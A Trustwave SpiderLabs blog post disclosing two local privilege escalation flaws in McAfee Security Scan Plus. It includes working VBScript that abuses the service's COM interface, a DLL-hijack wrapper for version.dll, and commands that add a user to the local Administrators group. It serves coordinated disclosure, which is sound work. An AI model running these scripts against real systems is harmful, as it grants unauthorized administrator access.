Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Two Privilege Escalation Vulnerabilities in McAfee Security Scan Plus

This post will discuss two separate Local Privilege Escalation vulnerabilities in the McAfee Security Scan Plus product. You've probably seen it coming with Adobe Flash installer for Windows as an add-on. This product installs as a Windows Service running as LocalSystem called McAfee Security Scan Component Host Service. During an audit of this product I found that any unprivileged user on a computer where the McAfee Security Scan Plus is installed could interrogate the service. More specifically, any user can communicate with the service via simple COM component as shown below and start certain programs:

Option Explicit
Dim objHost : Set objHost = CreateObject("McComponentHostService.McCompHost")
Dim objAV : Set objAV = objHost.GetObject("{7822F49B-3B6E-4646-86A9-204D7488A1FD}")
objAV.Configure("C:\Windows\TEMP\McUICnt.exe")
objAV.Scan()
objAV.GetReport()

This VBScript code will start the C:\Windows\TEMP\McUICnt.exe process as LocalSystem even when executed as an unprivileged user. An important thing here is that the path to launch is configurable. The only limitation is that I was unable to start arbitrary processes – there is a check in McAfee code that limits binaries to McAfee-signed ones.

However, since we can manipulate the path to the binary, my next thought was to copy a genuine binary from the product to the %TEMP% directory and see if it will load fake libraries on start up. Sure enough, that's exactly what it did! The next step was creating a wrapper around one of the dlls loaded by the McUICnt.exe – version.dll specifically. Here is the code:

#include 
#include
#pragma comment(linker, "/export:GetFileVersionInfoA=mversion.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=mversion.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExW=mversion.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=mversion.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=mversion.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=mversion.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=mversion.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=mversion.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=mversion.VerFindFileW")
#pragma comment(linker, "/export:VerInstallFileA=mversion.VerInstallFileA")
#pragma comment(linker, "/export:VerInstallFileW=mversion.VerInstallFileW")
#pragma comment(linker, "/export:VerLanguageNameA=kernel32.VerLanguageNameA")
#pragma comment(linker, "/export:VerLanguageNameW=kernel32.VerLanguageNameW")
#pragma comment(linker, "/export:VerQueryValueA=mversion.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=mversion.VerQueryValueW")
BOOL WINAPI DllMain(HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved)
{
system("net localgroup Administrators james /add");
return TRUE;
}

When compiled and placed in %TEMP% directory near the McUICnt.exe, this will grant user "james" local Administrator group membership when chained with the VBScript shown above.

During this research I discovered another vulnerability in the same product that is even simpler to exploit. There is a dedicated method to execute programs as LocalSystem in one of the objects exposed by the application:

Option Explicit
Dim objHost, objX
Set objHost = CreateObject("McComponentHostService.McCompHost")
Set objX = objHost.GetObject("{C4B9CF70-99E3-42A3-ACED-4AE75B2A0EA5}")|
Call objX.RunProgramEx("C:\WINDOWS\system32\net.exe", "localgroup Administrators james /add", vbNull, False, False)

Trustwave SpiderLabs reported both of these vulnerabilities to Intel Security and worked with them on testing the fix. The Trustwave advisory for these vulnerabilities is available here: TWSL2017-002

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo